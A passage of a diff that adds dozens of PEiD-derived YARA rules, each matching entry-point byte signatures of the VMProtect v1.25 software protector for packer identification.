+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 52 9C 53 57 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02670_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 55 56 50 53 9C 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02671_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 57 9C 53 53 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02672_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02673_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 50 9C 56 53 57 55 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02674_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 51 9C 56 53 55 52 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02675_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 50 53 56 55 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02676_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 53 55 9C 55 56 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02677_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 55 9C 56 53 52 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 5A 58 5F 5A 5B 5E 9D 5D 59 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02678_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 52 57 53 55 56 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02679_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 55 50 9C 55 56 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02680_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 53 56 52 51 50 9C 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02681_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02682_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_02683_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 9C 53 56 57 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 EC 5A 5B 58 5F 5E 5A 9D 5A 5D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02684_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02685_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02686_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02687_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02688_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02689_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02690_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02691_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02692_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02693_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02694_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02695_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 53 55 53 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02696_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02697_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02698_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02699_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02700_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02701_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02702_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02703_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02704_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02705_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02706_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02707_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02708_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02709_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_02710_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02711_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02712_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02713_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02714_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02715_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02716_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02717_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02718_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02719_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02720_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02721_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02722_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_02723_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02724_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02725_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a
+}
+
+rule PEiD_02726_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_02727_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
